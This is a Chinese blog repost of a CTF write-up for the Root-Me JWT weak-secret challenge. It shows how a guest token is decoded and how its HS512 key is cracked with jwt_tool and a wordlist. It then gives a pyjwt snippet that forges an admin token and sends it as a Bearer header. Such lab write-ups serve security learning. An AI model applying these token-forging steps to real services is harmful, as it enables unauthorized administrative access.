[RooteMe]JSON Web Token (JWT)

编程入门 行业动态 更新时间:2024-10-25 23:30:59

个人博客地址

darkerbox.

欢迎大家学习交流

Root-me网址:

root-me./en/Challenges/Web-Server/JSON-Web-Token-JWT-Weak-secret

知识点

jwt 弱密钥

前言

继上篇文章JSON Web Token (JWT) - Introduction后:

这篇文章主要讲的是弱密钥。我们都知道jwt签名时候都需要一个密钥。如果这个密钥是弱密钥的话,是可以爆破出来的

访问主页


提示使用get方式请求token页面。然后使用token通过post访问admin页面

先访问token页面


给出了tocken.

{"Here is your token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJyb2xlIjoiZ3Vlc3QifQ.4kBPNf7Y6BrtP-Y3A-vQXPY9jAh_d0E6L4IUjL65CvmEjgdTZyr2ag-TM-glH6EYKGgO3dBYbhblaPQsbeClcw"}



通过.分割,依次解码。得到payload

{"role":"guest"}

现在,我们尝试吧guest修改为admin。然后通过加密密钥获得签名。但现在我们没有加密密钥,需要先进行爆破。。使用:github./ticarpi/jwt_tool来进行爆破

安装好后,执行下条命令,直接将token传给这个文件

python3 jwt_tool.py eyJhbGciOiJIUzUxMiIsInR5cCI6IkpXVCJ9.eyJyb2xlIjoiZ3Vlc3QifQ.a4Cxf97xhqpexX-Mw0Ik74ncg6TdCK8R_Q7wYC929himTEOyJmePFYCJYvj-ICUTZrVqjPUa83GeMO5AVuOH0Q


在这里我们选 选项77: Crack signature with supplied dictionary file。通过字典破解签名。然后再输入字典路径。

很快爆出了密钥是lol。

知道密钥后,再次在python加密
没有jwt的先执行pip install pyjwt

import jwt
encoded = jwt.encode({'role': 'admin'}, 'lol', algorithm='HS512')
encoded

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJyb2xlIjoiYWRtaW4ifQ.y9GHxQbH70x_S8F_VPAjra_S-nQ9MsRnuvwWFGoIyKXKk8xCcMpYljN190KcV1qV6qLFTNrvg4Gwyv29OCjAWA

我使用post请求访问admin页面,提示格式必须为Authorization: Bearer YOURTOKEN

bp抓包修改头。

欢迎大家一起学习交流,共同进步,欢迎加入信息安全小白群

更多推荐

JSON,RooteMe,Web,JWT,Token

本文发布于:2023-05-25 10:57:32,感谢您对本站的认可!
本文链接:https://www.elefans.com/category/jswz/34/226649.html
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,我们将在24小时内删除。
本文标签:JSON   RooteMe   Web   JWT   Token

发布评论

评论列表 (有 0 条评论)
草根站长

>www.elefans.com

编程频道|电子爱好者 - 技术资讯及电子产品介绍!